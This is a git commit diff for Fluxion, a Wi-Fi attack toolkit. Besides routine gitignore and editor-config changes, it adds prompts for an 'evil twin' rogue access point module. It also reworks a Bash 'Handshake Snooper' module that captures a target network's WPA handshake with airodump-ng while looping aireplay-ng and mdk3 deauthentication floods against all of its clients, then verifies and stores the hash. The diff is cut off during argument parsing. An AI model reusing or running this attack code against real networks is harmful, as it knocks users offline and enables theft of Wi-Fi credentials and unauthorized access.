Updated to v4-development
This commit is contained in:
commit
649171eaff
|
@ -6,13 +6,13 @@ insert_final_newline = true
|
|||
max_line_length=120
|
||||
|
||||
[*.sh]
|
||||
indent_style = space
|
||||
indent_size = 2
|
||||
indent_style = tab
|
||||
indent_size = 4
|
||||
charset = utf-8
|
||||
trim_trailing_whitespace = true
|
||||
|
||||
[*.py]
|
||||
indent_size=2
|
||||
indent_size = 4
|
||||
|
||||
[*.md]
|
||||
trim_trailing_whitespace = false
|
||||
|
|
|
@ -1,35 +1,173 @@
|
|||
|
||||
# Custom files
|
||||
*~
|
||||
*.swp
|
||||
*.swo
|
||||
*.cap
|
||||
*.log
|
||||
BullyOutput.txt
|
||||
*.conf
|
||||
*.lock
|
||||
*.save
|
||||
*.backup
|
||||
|
||||
# temporary files which can be created if a process still has a handle open of a deleted file
|
||||
.fuse_hidden*
|
||||
# Compiled Object files
|
||||
*.slo
|
||||
*.lo
|
||||
*.o
|
||||
*.obj
|
||||
|
||||
# KDE directory preferences
|
||||
.directory
|
||||
# Precompiled Headers
|
||||
*.gch
|
||||
*.pch
|
||||
|
||||
# Linux trash folder which might appear on any partition or disk
|
||||
.Trash-*
|
||||
# Compiled Dynamic libraries
|
||||
*.so
|
||||
*.dylib
|
||||
*.dll
|
||||
|
||||
# .nfs files are created when an open file is removed but is still being accessed
|
||||
.nfs*
|
||||
# Fortran module files
|
||||
*.mod
|
||||
*.smod
|
||||
|
||||
# Cache files for Sublime Text
|
||||
# Compiled Static libraries
|
||||
*.lai
|
||||
*.la
|
||||
*.a
|
||||
*.lib
|
||||
|
||||
# Executables
|
||||
*.exe
|
||||
*.out
|
||||
*.app
|
||||
|
||||
### Calabash ###
|
||||
# Calabash / Cucumber
|
||||
rerun/
|
||||
reports/
|
||||
screenshots/
|
||||
screenshot*.png
|
||||
test-servers/
|
||||
|
||||
# bundler
|
||||
.bundle
|
||||
vendor
|
||||
|
||||
### Python ###
|
||||
# Byte-compiled / optimized / DLL files
|
||||
__pycache__/
|
||||
*.py[cod]
|
||||
*$py.class
|
||||
|
||||
# C extensions
|
||||
|
||||
# Distribution / packaging
|
||||
.Python
|
||||
build/
|
||||
develop-eggs/
|
||||
dist/
|
||||
downloads/
|
||||
eggs/
|
||||
.eggs/
|
||||
lib/
|
||||
lib64/
|
||||
parts/
|
||||
sdist/
|
||||
var/
|
||||
wheels/
|
||||
*.egg-info/
|
||||
.installed.cfg
|
||||
*.egg
|
||||
|
||||
# PyInstaller
|
||||
# Usually these files are written by a python script from a template
|
||||
# before PyInstaller builds the exe, so as to inject date/other infos into it.
|
||||
*.manifest
|
||||
*.spec
|
||||
|
||||
# Installer logs
|
||||
pip-log.txt
|
||||
pip-delete-this-directory.txt
|
||||
|
||||
# Unit test / coverage reports
|
||||
htmlcov/
|
||||
.tox/
|
||||
.coverage
|
||||
.coverage.*
|
||||
.cache
|
||||
nosetests.xml
|
||||
coverage.xml
|
||||
*.cover
|
||||
.hypothesis/
|
||||
|
||||
# Translations
|
||||
*.mo
|
||||
*.pot
|
||||
|
||||
# Django stuff:
|
||||
*.log
|
||||
local_settings.py
|
||||
|
||||
# Flask stuff:
|
||||
instance/
|
||||
.webassets-cache
|
||||
|
||||
# Scrapy stuff:
|
||||
.scrapy
|
||||
|
||||
# Sphinx documentation
|
||||
docs/_build/
|
||||
|
||||
# PyBuilder
|
||||
target/
|
||||
|
||||
# Jupyter Notebook
|
||||
.ipynb_checkpoints
|
||||
|
||||
# pyenv
|
||||
.python-version
|
||||
|
||||
# celery beat schedule file
|
||||
celerybeat-schedule.*
|
||||
|
||||
# SageMath parsed files
|
||||
*.sage.py
|
||||
|
||||
# Environments
|
||||
.env
|
||||
.venv
|
||||
env/
|
||||
venv/
|
||||
ENV/
|
||||
env.bak/
|
||||
venv.bak/
|
||||
|
||||
# Spyder project settings
|
||||
.spyderproject
|
||||
.spyproject
|
||||
|
||||
# Rope project settings
|
||||
.ropeproject
|
||||
|
||||
# mkdocs documentation
|
||||
/site
|
||||
|
||||
# mypy
|
||||
.mypy_cache/
|
||||
|
||||
### SublimeText ###
|
||||
# cache files for sublime text
|
||||
*.tmlanguage.cache
|
||||
*.tmPreferences.cache
|
||||
*.stTheme.cache
|
||||
|
||||
# Workspace files are user-specific
|
||||
# workspace files are user-specific
|
||||
*.sublime-workspace
|
||||
|
||||
# Project files should be checked into the repository, unless a significant
|
||||
# proportion of contributors will probably not be using Sublime Text
|
||||
# project files should be checked into the repository, unless a significant
|
||||
# proportion of contributors will probably not be using SublimeText
|
||||
# *.sublime-project
|
||||
|
||||
# SFTP configuration file
|
||||
# sftp configuration file
|
||||
sftp-config.json
|
||||
|
||||
# Package control specific files
|
||||
|
@ -48,30 +186,22 @@ bh_unicode_properties.cache
|
|||
# https://packagecontrol.io/packages/sublime-github
|
||||
GitHub.sublime-settings
|
||||
|
||||
# General
|
||||
*.DS_Store
|
||||
.AppleDouble
|
||||
.LSOverride
|
||||
### Vim ###
|
||||
# swap
|
||||
.sw[a-p]
|
||||
.*.sw[a-p]
|
||||
# session
|
||||
Session.vim
|
||||
# temporary
|
||||
.netrwhist
|
||||
*~
|
||||
# auto-generated tag files
|
||||
tags
|
||||
|
||||
# Icon must end with two \r
|
||||
Icon
|
||||
|
||||
|
||||
# Thumbnails
|
||||
._*
|
||||
|
||||
# Files that might appear in the root of a volume
|
||||
.DocumentRevisions-V100
|
||||
.fseventsd
|
||||
.Spotlight-V100
|
||||
.TemporaryItems
|
||||
.Trashes
|
||||
.VolumeIcon.icns
|
||||
.com.apple.timemachine.donotpresent
|
||||
|
||||
# Directories potentially created on remote AFP share
|
||||
.AppleDB
|
||||
.AppleDesktop
|
||||
Network Trash Folder
|
||||
Temporary Items
|
||||
.apdisk
|
||||
### VisualStudioCode ###
|
||||
.vscode/*
|
||||
!.vscode/settings.json
|
||||
!.vscode/tasks.json
|
||||
!.vscode/launch.json
|
||||
!.vscode/extensions.json
|
||||
.history
|
|
@ -1,4 +1,3 @@
|
|||
[submodule "attacks/Captive Portal/sites"]
|
||||
path = attacks/Captive Portal/sites
|
||||
#url = git@github.com:FluxionNetwork/sites.git
|
||||
url = https://github.com/FluxionNetwork/sites
|
||||
url = https://github.com/FluxionNetwork/sites
|
||||
|
|
2
.project
2
.project
|
@ -1,6 +1,6 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<projectDescription>
|
||||
<name>fluxion</name>
|
||||
<name>Fluxion</name>
|
||||
<comment></comment>
|
||||
<projects>
|
||||
</projects>
|
||||
|
|
File diff suppressed because it is too large
Load Diff
|
@ -2,6 +2,12 @@
|
|||
# identifier: Captive Portal
|
||||
# description: Creates an "evil twin" access point.
|
||||
|
||||
CaptivePortalJammerInterfaceQuery="Select an interface for jamming."
|
||||
CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point."
|
||||
|
||||
CaptivePortalAPServiceQuery="Select an access point service"
|
||||
CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)"
|
||||
CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)"
|
||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||
CaptivePortalInterfaceQuery="Select an interface for the captive portal."
|
||||
CaptivePortalStartingInterfaceNotice="Starting captive portal interface..."
|
||||
|
|
|
@ -1,12 +1,27 @@
|
|||
#!/bin/bash
|
||||
|
||||
########################### < Handshake Snooper Parameters > ###########################
|
||||
# ============================================================ #
|
||||
# ============= < Handshake Snooper Parameters > ============= #
|
||||
# ============================================================ #
|
||||
|
||||
HandshakeSnooperState="Not Ready"
|
||||
|
||||
################################# < Handshake Snooper > ################################
|
||||
function handshake_snooper_arbiter_daemon() {
|
||||
if [ ${#@} -lt 1 -o "$HandshakeSnooperState" != "Running" ]; then return 1; fi
|
||||
|
||||
# ============================================================ #
|
||||
# ========= < Handshake Snooper Helper Subroutines > ========= #
|
||||
# ============================================================ #
|
||||
handshake_snooper_header() {
|
||||
fluxion_header; fluxion_target_show; echo
|
||||
}
|
||||
|
||||
|
||||
# ============================================================ #
|
||||
# ============= < Handshake Snooper Subroutines > ============ #
|
||||
# ============================================================ #
|
||||
handshake_snooper_arbiter_daemon() {
|
||||
if [ ${#@} -lt 1 -o "$HandshakeSnooperState" != "Running" ]; then
|
||||
return 1;
|
||||
fi
|
||||
|
||||
# Start daemon in the running state to continue execution until aborted,
|
||||
# or until a hash has been verified to exist in the capture file.
|
||||
|
@ -15,13 +30,16 @@ function handshake_snooper_arbiter_daemon() {
|
|||
|
||||
function handshake_snooper_arbiter_daemon_abort() {
|
||||
handshake_snooper_arbiter_daemon_state="aborted"
|
||||
if [ "$handshake_snooper_arbiter_daemon_viewerPID" ]; then kill $handshake_snooper_arbiter_daemon_viewerPID
|
||||
if [ "$handshake_snooper_arbiter_daemon_viewerPID" ]; then
|
||||
kill $handshake_snooper_arbiter_daemon_viewerPID
|
||||
fi
|
||||
|
||||
handshake_snooper_stop_deauthenticator
|
||||
handshake_snooper_stop_captor
|
||||
|
||||
echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperArbiterAbortedWarning" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
|
||||
local -r now=$(env -i date '+%H:%M:%S')
|
||||
echo -e "[$now] $HandshakeSnooperArbiterAbortedWarning" >> \
|
||||
"$FLUXIONWorkspacePath/handshake_snooper.log"
|
||||
exit 2
|
||||
}
|
||||
|
||||
|
@ -34,10 +52,14 @@ function handshake_snooper_arbiter_daemon() {
|
|||
sandbox_remove_workfile "$FLUXIONWorkspacePath/capture/dump-*"
|
||||
|
||||
# Display some feedback to the user to assure verifier is working.
|
||||
xterm $FLUXIONHoldXterm $BOTTOMLEFT -bg "#000000" -fg "#CCCCCC" -title "Handshake Snooper Arbiter Log" -e "tail -f \"$FLUXIONWorkspacePath/handshake_snooper.log\"" &
|
||||
xterm $FLUXIONHoldXterm $BOTTOMLEFT -bg "#000000" -fg "#CCCCCC" \
|
||||
-title "Handshake Snooper Arbiter Log" -e \
|
||||
"tail -f \"$FLUXIONWorkspacePath/handshake_snooper.log\"" &
|
||||
local handshake_snooper_arbiter_daemon_viewerPID=$!
|
||||
|
||||
echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperStartingArbiterNotice" >"$FLUXIONWorkspacePath/handshake_snooper.log"
|
||||
local now=$(env -i date '+%H:%M:%S')
|
||||
echo -e "[$now] $HandshakeSnooperStartingArbiterNotice" > \
|
||||
"$FLUXIONWorkspacePath/handshake_snooper.log"
|
||||
|
||||
handshake_snooper_start_captor
|
||||
handshake_snooper_start_deauthenticator
|
||||
|
@ -46,26 +68,38 @@ function handshake_snooper_arbiter_daemon() {
|
|||
|
||||
# Keep snooping and verifying until we've got a valid hash from the capture file.
|
||||
while [ $handshake_snooper_arbiter_daemon_verified -ne 0 ]; do
|
||||
echo -e "[$(env -i date '+%H:%M:%S')] $(io_dynamic_output $HandshakeSnooperSnoopingForNSecondsNotice)" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
|
||||
now=$(env -i date '+%H:%M:%S')
|
||||
echo -e "[$now] $(io_dynamic_output $HandshakeSnooperSnoopingForNSecondsNotice)" >> \
|
||||
"$FLUXIONWorkspacePath/handshake_snooper.log"
|
||||
sleep $HANDSHAKEVerifierInterval &
|
||||
wait $! # Using wait to asynchronously catch flags while waiting.
|
||||
|
||||
# If synchronously searching, stop the captor and deauthenticator before checking.
|
||||
if [ "$HANDSHAKEVerifierSynchronicity" = "blocking" ]; then
|
||||
echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperStoppingForVerifierNotice" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
|
||||
now=$(env -i date '+%H:%M:%S')
|
||||
echo -e "[$now] $HandshakeSnooperStoppingForVerifierNotice" >> \
|
||||
"$FLUXIONWorkspacePath/handshake_snooper.log"
|
||||
handshake_snooper_stop_deauthenticator
|
||||
handshake_snooper_stop_captor
|
||||
mv "$FLUXIONWorkspacePath/capture/dump-01.cap" "$FLUXIONWorkspacePath/capture/recent.cap"
|
||||
mv "$FLUXIONWorkspacePath/capture/dump-01.cap" \
|
||||
"$FLUXIONWorkspacePath/capture/recent.cap"
|
||||
else
|
||||
pyrit -r "$FLUXIONWorkspacePath/capture/dump-01.cap" -o "$FLUXIONWorkspacePath/capture/recent.cap" stripLive &>$FLUXIONOutputDevice
|
||||
pyrit -r "$FLUXIONWorkspacePath/capture/dump-01.cap" \
|
||||
-o "$FLUXIONWorkspacePath/capture/recent.cap" stripLive &> \
|
||||
$FLUXIONOutputDevice
|
||||
fi
|
||||
|
||||
echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperSearchingForHashesNotice" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
|
||||
hash_check_handshake "$HANDSHAKEVerifierIdentifier" "$FLUXIONWorkspacePath/capture/recent.cap" "$APTargetSSID" "$APTargetMAC"
|
||||
now=$(env -i date '+%H:%M:%S')
|
||||
echo -e "[$now] $HandshakeSnooperSearchingForHashesNotice" >> \
|
||||
"$FLUXIONWorkspacePath/handshake_snooper.log"
|
||||
hash_check_handshake "$HANDSHAKEVerifierIdentifier" \
|
||||
"$FLUXIONWorkspacePath/capture/recent.cap" \
|
||||
"$FluxionTargetSSID" "$FluxionTargetMAC"
|
||||
handshake_snooper_arbiter_daemon_verified=$?
|
||||
|
||||
# If synchronously searching, restart the captor and deauthenticator after checking.
|
||||
if [ "$HANDSHAKEVerifierSynchronicity" = "blocking" -a $handshake_snooper_arbiter_daemon_verified -ne 0 ]; then
|
||||
if [ "$HANDSHAKEVerifierSynchronicity" = "blocking" -a \
|
||||
$handshake_snooper_arbiter_daemon_verified -ne 0 ]; then
|
||||
sandbox_remove_workfile "$FLUXIONWorkspacePath/capture/*"
|
||||
|
||||
handshake_snooper_start_captor
|
||||
|
@ -78,34 +112,39 @@ function handshake_snooper_arbiter_daemon() {
|
|||
handshake_snooper_stop_captor
|
||||
|
||||
local completionTime=$(env -i date '+%H:%M:%S')
|
||||
echo -e "[$completionTime] $HandshakeSnooperArbiterSuccededNotice" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
|
||||
echo -e "[$completionTime] $HandshakeSnooperArbiterCompletedTip" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
|
||||
echo -e "[$completionTime] $HandshakeSnooperArbiterSuccededNotice" >> \
|
||||
"$FLUXIONWorkspacePath/handshake_snooper.log"
|
||||
echo -e "[$completionTime] $HandshakeSnooperArbiterCompletedTip" >> \
|
||||
"$FLUXIONWorkspacePath/handshake_snooper.log"
|
||||
|
||||
# Assure we've got a directory to store hashes into.
|
||||
mkdir -p "$FLUXIONPath/attacks/Handshake Snooper/handshakes/"
|
||||
|
||||
# Move handshake to storage if one was acquired.
|
||||
mv "$FLUXIONWorkspacePath/capture/recent.cap" "$FLUXIONPath/attacks/Handshake Snooper/handshakes/$APTargetSSIDClean-$APTargetMAC.cap"
|
||||
mv "$FLUXIONWorkspacePath/capture/recent.cap" \
|
||||
"$FLUXIONPath/attacks/Handshake Snooper/handshakes/$FluxionTargetSSIDClean-$FluxionTargetMAC.cap"
|
||||
|
||||
# Signal parent process the verification terminated.
|
||||
kill -s SIGABRT $1
|
||||
}
|
||||
|
||||
function handshake_snooper_stop_captor() {
|
||||
if [ "$HANDSHAKECaptorPID" ]; then kill -s SIGINT $HANDSHAKECaptorPID &>$FLUXIONOutputDevice
|
||||
handshake_snooper_stop_captor() {
|
||||
if [ "$HANDSHAKECaptorPID" ]; then
|
||||
kill -s SIGINT $HANDSHAKECaptorPID &> $FLUXIONOutputDevice
|
||||
fi
|
||||
|
||||
HANDSHAKECaptorPID=""
|
||||
}
|
||||
|
||||
function handshake_snooper_start_captor() {
|
||||
handshake_snooper_start_captor() {
|
||||
if [ "$HANDSHAKECaptorPID" ]; then return 0; fi
|
||||
if [ "$HandshakeSnooperState" != "Running" ]; then return 1; fi
|
||||
|
||||
handshake_snooper_stop_captor
|
||||
|
||||
xterm $FLUXIONHoldXterm -title "Handshake Captor (CH $APTargetChannel)" $TOPLEFT -bg "#000000" -fg "#FFFFFF" -e \
|
||||
airodump-ng --ignore-negative-one -d $APTargetMAC -w "$FLUXIONWorkspacePath/capture/dump" -c $APTargetChannel -a $WIMonitor &
|
||||
xterm $FLUXIONHoldXterm -title "Handshake Captor (CH $FluxionTargetChannel)" \
|
||||
$TOPLEFT -bg "#000000" -fg "#FFFFFF" -e \
|
||||
airodump-ng --ignore-negative-one -d $FluxionTargetMAC -w "$FLUXIONWorkspacePath/capture/dump" -c $FluxionTargetChannel -a $HandshakeSnooperJammerInterface &
|
||||
local parentPID=$!
|
||||
|
||||
while [ ! "$HANDSHAKECaptorPID" ]; do
|
||||
|
@ -115,14 +154,14 @@ function handshake_snooper_start_captor() {
|
|||
done
|
||||
}
|
||||
|
||||
function handshake_snooper_stop_deauthenticator() {
|
||||
handshake_snooper_stop_deauthenticator() {
|
||||
if [ "$HANDSHAKEDeauthenticatorPID" ]; then kill $HANDSHAKEDeauthenticatorPID &>$FLUXIONOutputDevice
|
||||
fi
|
||||
|
||||
HANDSHAKEDeauthenticatorPID=""
|
||||
}
|
||||
|
||||
function handshake_snooper_start_deauthenticator() {
|
||||
handshake_snooper_start_deauthenticator() {
|
||||
if [ "$HANDSHAKEDeauthenticatorPID" ]; then return 0; fi
|
||||
if [ "$HandshakeSnooperState" != "Running" ]; then return 1; fi
|
||||
|
||||
|
@ -130,75 +169,133 @@ function handshake_snooper_start_deauthenticator() {
|
|||
|
||||
# Prepare deauthenticators
|
||||
case "$HANDSHAKEDeauthenticatorIdentifier" in
|
||||
"$HandshakeSnooperMdk3MethodOption") echo "$APTargetMAC" >$FLUXIONWorkspacePath/mdk3_blacklist.lst ;;
|
||||
"$HandshakeSnooperMdk3MethodOption")
|
||||
echo "$FluxionTargetMAC" > $FLUXIONWorkspacePath/mdk3_blacklist.lst ;;
|
||||
esac
|
||||
|
||||
# Start deauthenticators.
|
||||
case "$HANDSHAKEDeauthenticatorIdentifier" in
|
||||
"$HandshakeSnooperAireplayMethodOption")
|
||||
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \
|
||||
"while true; do sleep 7; timeout 3 aireplay-ng --deauth=100 -a $APTargetMAC --ignore-negative-one $WIMonitor; done" &
|
||||
HANDSHAKEDeauthenticatorPID=$!
|
||||
"$HandshakeSnooperAireplayMethodOption")
|
||||
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" \
|
||||
-title "Deauthenticating all clients on $FluxionTargetSSID" -e \
|
||||
"while true; do sleep 7; timeout 3 aireplay-ng --deauth=100 -a $FluxionTargetMAC --ignore-negative-one $HandshakeSnooperJammerInterface; done" &
|
||||
HANDSHAKEDeauthenticatorPID=$!
|
||||
;;
|
||||
"$HandshakeSnooperMdk3MethodOption")
|
||||
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \
|
||||
"while true; do sleep 7; timeout 3 mdk3 $WIMonitor d -b $FLUXIONWorkspacePath/mdk3_blacklist.lst -c $APTargetChannel; done" &
|
||||
HANDSHAKEDeauthenticatorPID=$!
|
||||
"$HandshakeSnooperMdk3MethodOption")
|
||||
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" \
|
||||
-title "Deauthenticating all clients on $FluxionTargetSSID" -e \
|
||||
"while true; do sleep 7; timeout 3 mdk3 $HandshakeSnooperJammerInterface d -b $FLUXIONWorkspacePath/mdk3_blacklist.lst -c $FluxionTargetChannel; done" &
|
||||
HANDSHAKEDeauthenticatorPID=$!
|
||||
;;
|
||||
esac
|
||||
}
|
||||
|
||||
function handshake_snooper_unset_deauthenticator_identifier() {
|
||||
|
||||
handshake_snooper_unset_deauthenticator_identifier() {
|
||||
if [ ! "$HANDSHAKEDeauthenticatorIdentifier" ]; then return 1; fi
|
||||
HANDSHAKEDeauthenticatorIdentifier=""
|
||||
}
|
||||
|
||||
function handshake_snooper_set_deauthenticator_identifier() {
|
||||
handshake_snooper_set_deauthenticator_identifier() {
|
||||
if [ "$HANDSHAKEDeauthenticatorIdentifier" ]; then return 0; fi
|
||||
|
||||
handshake_snooper_unset_deauthenticator_identifier
|
||||
|
||||
local methods=("$HandshakeSnooperMonitorMethodOption" "$HandshakeSnooperAireplayMethodOption" "$HandshakeSnooperMdk3MethodOption" "$FLUXIONGeneralBackOption")
|
||||
local methods=(
|
||||
"$HandshakeSnooperMonitorMethodOption"
|
||||
"$HandshakeSnooperAireplayMethodOption"
|
||||
"$HandshakeSnooperMdk3MethodOption"
|
||||
"$FLUXIONGeneralBackOption"
|
||||
)
|
||||
io_query_choice "$HandshakeSnooperMethodQuery" methods[@]
|
||||
|
||||
HANDSHAKEDeauthenticatorIdentifier=$IOQueryChoice
|
||||
|
||||
echo
|
||||
|
||||
if [ "$HANDSHAKEDeauthenticatorIdentifier" = "$FLUXIONGeneralBackOption" ]; then
|
||||
if [ "$HANDSHAKEDeauthenticatorIdentifier" = \
|
||||
"$FLUXIONGeneralBackOption" ]; then
|
||||
handshake_snooper_unset_deauthenticator_identifier
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
function handshake_snooper_unset_verifier_identifier() {
|
||||
handshake_snooper_unset_jammer_interface() {
|
||||
if [ ! "$HandshakeSnooperJammerInterface" ]; then return 1; fi
|
||||
HandshakeSnooperJammerInterface=""
|
||||
|
||||
# Check if we're automatically selecting the interface & skip
|
||||
# this one if so to take the user back properly.
|
||||
local interfacesAvailable
|
||||
readarray -t interfacesAvailable < <(attack_targetting_interfaces)
|
||||
|
||||
if [ ${#interfacesAvailable[@]} -le 1 ]; then return 2; fi
|
||||
}
|
||||
|
||||
handshake_snooper_set_jammer_interface() {
|
||||
if [ "$HandshakeSnooperJammerInterface" ]; then return 0; fi
|
||||
if [ "$HANDSHAKEDeauthenticatorIdentifier" = \
|
||||
"$HandshakeSnooperMonitorMethodOption" ]; then return 0; fi
|
||||
|
||||
if [ ! "$HandshakeSnooperUninitializedJammerInterface" ]; then
|
||||
echo "Running get jammer interface." > $FLUXIONOutputDevice
|
||||
if ! fluxion_get_interface attack_targetting_interfaces \
|
||||
"$HandshakeSnooperJammerInterfaceQuery"; then
|
||||
echo "Failed to get jammer interface" > $FLUXIONOutputDevice
|
||||
return 1
|
||||
fi
|
||||
local selectedInterface=$FluxionInterfaceSelected
|
||||
else
|
||||
local selectedInterface=$HandshakeSnooperUninitializedJammerInterface
|
||||
unset HandshakeSnooperUninitializedJammerInterface
|
||||
fi
|
||||
|
||||
if ! fluxion_allocate_interface $selectedInterface; then
|
||||
echo "Failed to allocate jammer interface" > $FLUXIONOutputDevice
|
||||
return 2
|
||||
fi
|
||||
|
||||
echo "Succeeded get jammer interface." > $FLUXIONOutputDevice
|
||||
HandshakeSnooperJammerInterface=${FluxionInterfaces[$selectedInterface]}
|
||||
}
|
||||
|
||||
handshake_snooper_unset_verifier_identifier() {
|
||||
if [ ! "$HANDSHAKEVerifierIdentifier" ]; then return 1; fi
|
||||
HANDSHAKEVerifierIdentifier=""
|
||||
}
|
||||
|
||||
function handshake_snooper_set_verifier_identifier() {
|
||||
handshake_snooper_set_verifier_identifier() {
|
||||
if [ "$HANDSHAKEVerifierIdentifier" ]; then return 0; fi
|
||||
|
||||
handshake_snooper_unset_verifier_identifier
|
||||
|
||||
local choices=("$FLUXIONHashVerificationMethodPyritOption" "$FLUXIONHashVerificationMethodAircrackOption" "$FLUXIONGeneralBackOption")
|
||||
local choices=(
|
||||
"$FLUXIONHashVerificationMethodPyritOption"
|
||||
"$FLUXIONHashVerificationMethodAircrackOption"
|
||||
"$FLUXIONGeneralBackOption"
|
||||
)
|
||||
io_query_choice "$FLUXIONHashVerificationMethodQuery" choices[@]
|
||||
|
||||
echo
|
||||
|
||||
case "$IOQueryChoice" in
|
||||
"$FLUXIONHashVerificationMethodPyritOption") HANDSHAKEVerifierIdentifier="pyrit" ;;
|
||||
"$FLUXIONHashVerificationMethodAircrackOption") HANDSHAKEVerifierIdentifier="aircrack-ng" ;;
|
||||
"$FLUXIONGeneralBackOption")
|
||||
handshake_snooper_unset_verifier_identifier
|
||||
return 1
|
||||
;;
|
||||
"$FLUXIONHashVerificationMethodPyritOption")
|
||||
HANDSHAKEVerifierIdentifier="pyrit" ;;
|
||||
"$FLUXIONHashVerificationMethodAircrackOption")
|
||||
HANDSHAKEVerifierIdentifier="aircrack-ng" ;;
|
||||
"$FLUXIONGeneralBackOption")
|
||||
handshake_snooper_unset_verifier_identifier
|
||||
return 1
|
||||
;;
|
||||
esac
|
||||
}
|
||||
|
||||
function handshake_snooper_unset_verifier_interval() {
|
||||
handshake_snooper_unset_verifier_interval() {
|
||||
if [ ! "$HANDSHAKEVerifierInterval" ]; then return 1; fi
|
||||
HANDSHAKEVerifierInterval=""
|
||||
}
|
||||
|
||||
function handshake_snooper_set_verifier_interval() {
|
||||
handshake_snooper_set_verifier_interval() {
|
||||
if [ "$HANDSHAKEVerifierInterval" ]; then return 0; fi
|
||||
|
||||
handshake_snooper_unset_verifier_interval
|
||||
|
@ -207,84 +304,136 @@ function handshake_snooper_set_verifier_interval() {
|
|||
io_query_choice "$HandshakeSnooperVerifierIntervalQuery" choices[@]
|
||||
|
||||
case "$IOQueryChoice" in
|
||||
"$HandshakeSnooperVerifierInterval30SOption") HANDSHAKEVerifierInterval=30 ;;
|
||||
"$HandshakeSnooperVerifierInterval60SOption") HANDSHAKEVerifierInterval=60 ;;
|
||||
"$HandshakeSnooperVerifierInterval90SOption") HANDSHAKEVerifierInterval=90 ;;
|
||||
"$FLUXIONGeneralBackOption")
|
||||
handshake_snooper_unset_verifier_interval
|
||||
return 1
|
||||
;;
|
||||
"$HandshakeSnooperVerifierInterval30SOption")
|
||||
HANDSHAKEVerifierInterval=30 ;;
|
||||
"$HandshakeSnooperVerifierInterval60SOption")
|
||||
HANDSHAKEVerifierInterval=60 ;;
|
||||
"$HandshakeSnooperVerifierInterval90SOption")
|
||||
HANDSHAKEVerifierInterval=90 ;;
|
||||
"$FLUXIONGeneralBackOption")
|
||||
handshake_snooper_unset_verifier_interval
|
||||
return 1
|
||||
;;
|
||||
esac
|
||||
}
|
||||
|
||||
function handshake_snooper_unset_verifier_synchronicity() {
|
||||
handshake_snooper_unset_verifier_synchronicity() {
|
||||
if [ ! "$HANDSHAKEVerifierSynchronicity" ]; then return 1; fi
|
||||
HANDSHAKEVerifierSynchronicity=""
|
||||
}
|
||||
|
||||
function handshake_snooper_set_verifier_synchronicity() {
|
||||
handshake_snooper_set_verifier_synchronicity() {
|
||||
if [ "$HANDSHAKEVerifierSynchronicity" ]; then return 0; fi
|
||||
|
||||
handshake_snooper_unset_verifier_synchronicity
|
||||
|
||||
local choices=("$HandshakeSnooperVerifierSynchronicityAsynchronousOption" "$HandshakeSnooperVerifierSynchronicitySynchronousOption" "$FLUXIONGeneralBackOption")
|
||||
local choices=(
|
||||
"$HandshakeSnooperVerifierSynchronicityAsynchronousOption"
|
||||
"$HandshakeSnooperVerifierSynchronicitySynchronousOption"
|
||||
"$FLUXIONGeneralBackOption"
|
||||
)
|
||||
|
||||
io_query_choice "$HandshakeSnooperVerifierSynchronicityQuery" choices[@]
|
||||
|
||||
case "$IOQueryChoice" in
|
||||
"$HandshakeSnooperVerifierSynchronicityAsynchronousOption") HANDSHAKEVerifierSynchronicity="non-blocking" ;;
|
||||
"$HandshakeSnooperVerifierSynchronicitySynchronousOption") HANDSHAKEVerifierSynchronicity="blocking" ;;
|
||||
"$FLUXIONGeneralBackOption")
|
||||
handshake_snooper_unset_verifier_synchronicity
|
||||
return 1
|
||||
;;
|
||||
"$HandshakeSnooperVerifierSynchronicityAsynchronousOption")
|
||||
HANDSHAKEVerifierSynchronicity="non-blocking" ;;
|
||||
"$HandshakeSnooperVerifierSynchronicitySynchronousOption")
|
||||
HANDSHAKEVerifierSynchronicity="blocking" ;;
|
||||
"$FLUXIONGeneralBackOption")
|
||||
handshake_snooper_unset_verifier_synchronicity
|
||||
return 1
|
||||
;;
|
||||
esac
|
||||
}
|
||||
|
||||
function unprep_attack() {
|
||||
|
||||
# ============================================================ #
|
||||
# =================== < Parse Parameters > =================== #
|
||||
# ============================================================ #
|
||||
if [ ! "$HandshakeSnooperCLIArguments" ]; then
|
||||
if ! HandshakeSnooperCLIArguments=$(
|
||||
getopt --options="v:i:j:a" \
|
||||
--longoptions="verifier:,interval:,jammer:,asynchronous" \
|
||||
--name="Handshake Snooper V$FLUXIONVersion.$FLUXIONRevision" -- "$@"
|
||||
); then
|
||||
echo -e "${CRed}Aborted$CClr, parameter error detected..."
|
||||
sleep 5
|
||||
fluxion_handle_exit
|
||||
fi
|
||||
|
||||
declare -r HandshakeSnooperCLIArguments=$HandshakeSnooperCLIArguments
|
||||
|
||||
eval set -- "$HandshakeSnooperCLIArguments" # Set environment parameters.
|
||||
fi
|
||||
|
||||
|
||||
# ============================================================ #
|
||||
# ============= < Argument Loaded Configurables > ============ #
|
||||
# ============================================================ #
|
||||
while [ "$1" != "" -a "$1" != "--" ]; do
|
||||
case "$1" in
|
||||
-v|--verifier)
|
||||
HandshakeSnooperVerifierIdentifier=$2; shift;;
|
||||
-i|--interval)
|
||||
HandshakeSnooperVerifierInterval=$2; shift;;
|
||||
-j|--jammer)
|
||||
